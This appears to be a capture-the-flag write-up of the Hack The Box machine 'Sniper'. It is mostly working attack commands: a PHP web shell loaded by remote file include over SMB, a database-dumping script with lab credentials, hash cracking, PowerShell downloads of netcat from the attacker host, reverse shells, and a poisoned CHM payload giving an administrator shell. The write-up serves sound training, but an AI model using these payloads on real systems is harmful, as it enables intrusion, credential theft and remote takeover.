Overview

Sniper was one of my favorite boxes from recent memory. It leverages an RFI and Powershell constrained mode to eventually get a user shell. From there you poison a Windows Help (CHM) file in order to execute code as the Administrator user. Let’s take a look at how I did it. Please also note that the first part of this leverages a python script that I created; it’s referenced and included as a gist for your viewing.


NMAP Scan

First up, from my standard nmap scan, we see :

nmap -A -oA nmap/snipper_initial -vvv 10.10.10.151

Nmap scan report for 10.10.10.151
Host is up, received echo-reply ttl 127 (0.017s latency).
Scanned at 2019-10-08 17:54:45 BST for 60s
Not shown: 996 filtered ports
Reason: 996 no-responses
PORT    STATE SERVICE       REASON          VERSION
80/tcp  open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds? syn-ack ttl 127
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=10/8%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5D9CBF91%P=x86_64-pc-linux-gnu)
SEQ(SP=103%GCD=1%ISR=10D%TI=I%II=I%SS=S%TS=U)
OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M54DNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m47s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 25157/tcp): CLEAN (Timeout)
|   Check 2 (port 18459/tcp): CLEAN (Timeout)
|   Check 3 (port 51336/udp): CLEAN (Timeout)
|   Check 4 (port 40243/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-10-08T23:55:52
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   16.83 ms 10.10.14.1
2   16.86 ms 10.10.10.151

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  8 17:55:45 2019 -- 1 IP address (1 host up) scanned in 59.98 seconds

User Pwn

For the most part there’s only the web port, so lets start by checking that out:

http://10.10.10.151/

Nothing special in the source. There’s 2 links that lead off here:

http://10.10.10.151/blog/ http://10.10.10.151/user/

The blog itself doesnt appear to be built on any CMS framework; the only significant thing I can see thus far is that it has the ability to interchange languages via a PHP URL arugment, but we’ll revisit that shortly. I also took a copy of such a request and fed it to SQLMap for examination. It doesnt appear to have been able to find any injection points.

I’m also running full dirb scans of the /blog and /user URL’s and, in the case the user URL, I was able to sign up and login. Once logged in you get sent to a construction page, again no useful info in the source. The dirb scan for /user includes the login cookie associated with my registration to ensure it scans everything it can, but it doesn’t give further results.

 ~/HTB/Boxes/Sniper/dirb cat sniper_initial.dirb | grep 200 | sort | uniq -i
/blog (Status: 200)
/index.php (Status: 200)
/user (Status: 200)

Based on intitial enumeration I found some CSS code that referenced something called “fostrap” which appears to be a theming template for Blogger. This appears to be a bit of dead end though.

On top of this, as briefly mentioned, there appears to be some form of LFI/RFI expoit here; on the blog, theres only 3 working links in the sites menu, all of these follow the context of:

/blog/?lang=blog-<lang>.php

Where lang is (e.g.) en, fr, es. I’ve attempted to fuzz the parameter to some success; including the index.php page forces the page to include itself and that basically breaks the application for that particular load. I’ve also tried fuzzing for .aspx and asp, as theyre common IIS file types but nothing has come back from that.

After browsing around to see how this can be exploited, it turns out theres a particular vulnerability to allow exploiting of RFI in conjunction with PHP and SMB:

RFI using PHP/SMB

This effectively uses a PHP exploit that involves including files from remote SMB shares regardless of whether standard PHP file include restictions (fopen_url etc) are enabled. In this case, they are. So we should be able to abuse this. I’ve setup an SMB share and inside it I’ve got a file called hax.php (yes, I know, Its leet). Quite simply, it contains this:

<?php system($_GET['cmd']); ?>

For posterity the following also reflects the codeblock used in my smb.conf file:

[share]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

I’ve also created a Gist that contains these 2 things, as well as a Python based wrapper script that can be used to execute commands on the machine directly. All of those things can be found here:

Sniper Gist by 5ysk3y

To exploit this using this script we call our malicious file via the SMB share in the url as follows:

http://10.10.10.151/blog/?lang=\\\10.10.14.34\share\hax.php

This returns the HTML elements of the script, when we view the source; to use it, we append &cmd=some+command+here to the url (make sure to change the request type to POST as well).

From there, we can run commands, e.g:

http://10.10.10.151/blog/?lang=\\\10.10.14.34\share\hax.php&cmd=dir ..\user\

To view the contents of the /user directory (from our initial dirb scans). This shows us some cool stuff:

10/01/2019  08:44 AM    <DIR>          .
10/01/2019  08:44 AM    <DIR>          ..
04/11/2019  05:15 PM               108 auth.php
04/11/2019  05:52 AM    <DIR>          css
04/11/2019  10:51 AM               337 db.php
04/11/2019  05:23 AM    <DIR>          fonts
04/11/2019  05:23 AM    <DIR>          images
04/11/2019  06:18 AM             4,639 index.php
04/11/2019  05:23 AM    <DIR>          js
04/11/2019  06:10 AM             6,463 login.php
04/08/2019  11:04 PM               148 logout.php
10/01/2019  08:42 AM             7,192 registration.php
08/14/2019  10:35 PM             7,004 registration_old123123123847.php
04/11/2019  05:23 AM    <DIR>          vendor

Looking at the old registration file above, it shows us how the form actually inserts values from the registration form into the DB– specifically it tells us the table that data gets inserted into. On top of that, the db.php file contains a full connection statement, including creds, that we can use to basically query the contents of the users table using our RFI method. After a bit of fiddling, effectively I created a new file in the SMB share (mysql.php) with the following code:

<?php
$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");
$query = "SELECT * from users";
$result = mysqli_query($con,$query);

while($output = mysqli_fetch_array($result)) {
		print_r($output);
}
?>

Hopefully this is fairly self explanatory; I lifted the $con variable from the server-side copy of db.php, adjusted the query to simply select everything from the users table, and then (the fiddly bit) was getting it to dump the contents. Which I now have :) The two users of interest (for reasons) are my own login info (via the test account I registered with):

Array
(
	[0] => 12
	[id] => 12
	[1] => 5ysk3y
	[username] => 5ysk3y
	[2] => a@b.c
	[email] => a@b.c
	[3] => 5f4dcc3b5aa765d61d8327deb882cf99
	[password] => 5f4dcc3b5aa765d61d8327deb882cf99
	[4] => 2019-10-14 01:54:13
	[trn_date] => 2019-10-14 01:54:13
)

And the superuser password hash:

Array
(
	[0] => 1
	[id] => 1
	[1] => superuser
	[username] => superuser
	[2] => admin@sniper.co
	[email] => admin@sniper.co
	[3] => 6e573c8b25e9168e0c61895d821a3d57
	[password] => 6e573c8b25e9168e0c61895d821a3d57
	[4] => 2019-04-11 22:45:36
	[trn_date] => 2019-04-11 22:45:36
)

There are more, likely from signups from other HTB users, so I’ve dumped them all for reference. I grabbed my own registered password hash to see if I can crack it (since I know what the pass is) before I move onto super user.

Also, I have used my wrapper script to enum the users on this box:

04/09/2019  06:47 AM    <DIR>          Administrator
04/11/2019  07:04 AM    <DIR>          Chris

Sadly I cant dir the contents but non the less! I’ve also just realised that the old registration form tells us exactly what type of format the DB passwords are stored in, as its inserted in the following manner:

.md5($password).

So its an MD5 hash. Lets try to crack our own! Hashcat got it:

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt
5f4dcc3b5aa765d61d8327deb882cf99:password

Sadly the sysadmin password didnt seem to crack quite as easily - SSH isnt available on this server as it’s a Windows box, so its likely we will need to priv esc, meaning the sooner we can get a stable shell the better.

In order to get a stable shell, I had to supply my own netcat binary to Windows and then use that directly. Specifically:

  1. Upload nc64 (windows netcat, using this specific command):

python exploit.py "powershell.exe -nop -exec bypass -c Invoke-WebRequest -Uri http://10.10.14.23:9001/nc64.exe -OutFile C:\\Windows\\temp\\nc64.exe"

  1. This will serve nc64 and save it in Windows temp dir. We can then call it using the same powershell syntax, ensuring you have netcat listening:

python exploit.py "powershell.exe -nop -exec bypass -c C:\\Windows\\temp\\nc64.exe 10.10.14.23 9002 -e powershell"

From there we can use our enumerated data to login as the user account; we know the username is Chris, and some trial and error logins to crackmapexec show we also have a valid password from the databsae file - not many passwords have been found up to now, but attempting to use Chris' username with the MySQL password we found earlier does yield results. Let’s setup our credential object so we can privesc:

$user = "SNIPER\Chris"
$pass = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential($user,$pass)

And then use it to execute code as Chris' user, e.g:

PS C:\inetpub\wwwroot\blog> Invoke-Command -ComputerName SNIPER -ScriptBlock { whoami } -Credential $creds
sniper\chris

From there I downloaded another copy of nc64.exe that would be owned by Chris:

Invoke-Command -ComputerName SNIPER -ScriptBlock { Invoke-WebRequest -Uri http://10.10.14.23:9001/nc64.exe -OutFile C:\\Users\\Chris\\Documents\\nc64.exe } -Credential $creds

And then ran that to get a second reverse shell:

Invoke-Command -ComputerName SNIPER -ScriptBlock { C:\Users\Chris\Documents\nc64.exe 10.10.14.23 9002 -e powershell.exe } -Credential $creds

And the subsquent user flag:

PS C:\Docs> type C:\Users\Chris\Desktop\user.txt
type C:\Users\Chris\Desktop\user.txt
21f4d0f29fc4dd867500c1ad716cf56e

Root Pwn

Next onto root, some basic enum of the root dir (C:) shows an interesting and unusual “docs” folder..

PS C:\Docs> dir

    Directory: C:\Docs

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2019   9:31 AM            285 note.tx
-a----        4/11/2019   9:17 AM         552607 php for dummies-trial.pdf

Lets have a look at that note:

PS C:\Docs> type note.txt

Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.

So this seems to be hinting at an exploit involving CHM (Compiled Help Files for Windows). I sought to narrow down what CHM files existed on the box:

$dir = Get-ChildItem C:\ -recurse -file -force -ErrorAction SilentlyContinue

This pulls all visible files from the C:\ drive into a variable (thats a big list..) and we then narrow it down to just CHM files:

$List = $Dir | where {$_.extension -eq ".chm"}

Having glossed over all of them, the most obvious one is the first in the list:

$List | format-table name,directory | select -first 10

Name                                                        Directory
----                                                        ---------
instructions.chm                                            C:\Users\Chris\Downloads
cliconf.chm                                                 C:\Windows\Help\mui\0409
mmc.CHM                                                     C:\Windows\Help\mui\0409
msdasc.chm                                                  C:\Windows\Help\mui\0409
msorcl32.chm                                                C:\Windows\Help\mui\0409
odbcinst.chm                                                C:\Windows\Help\mui\0409
odbcjet.chm                                                 C:\Windows\Help\mui\0409
sqlsodbc.chm                                                C:\Windows\Help\mui\0409

I’ve downloaded a copy of this (via SMB) in order to look into it further.

In a nutshell this is going to be a poisoned CHM exploit:

Poison CHM Gist

Lets do this manually first. On a Windows machine I decompiled the CHM file we got from Chris using something called KeyTools - this allows you to decompile CHM files so their contents can be modified. This isn’t necessary but I chose to do it as a learning exercise. Once extracted, I created a copy of the single html file in there, and added the exploit as described in the above link:

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  <PARAM name="Command" value="ShortCut">
  <PARAM name="Button" value="Bitmap::shortcut">
  <PARAM name="Item1" value=',cmd.exe,/c C:\Users\Chris\Documents\nc64.exe 10.10.14.23 9003 -e powershell.exe'>
  <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
  x.Click();
</SCRIPT>

From there, we can download HTML Help Workshop and recompile the CHM file inclusive of our newly poisoned HTML doc. You can also compile a new project from scratch to do this, completely omitting KeyTools altogether.

For me, getting this to actually work was massively hit and miss. A good test before running this is to get the box to ping you via ping -n 2 <IP.ADDRESS> - changing the value of the Item1 parameter in our XML code above will acheive this.

Once confirmed I compiled the CHM with the nc64.exe line and moved it into C:\Docs - with a listener running. After a few attempts we get a call back:

skynet Boxes/Sniper » nc -nlvp 9003
Connection from 10.10.10.151:49719
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
sniper\administrator

PS C:\Windows\system32> hostname
Sniper

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
5624caf363e2750e994f6be0b7436c15

Result!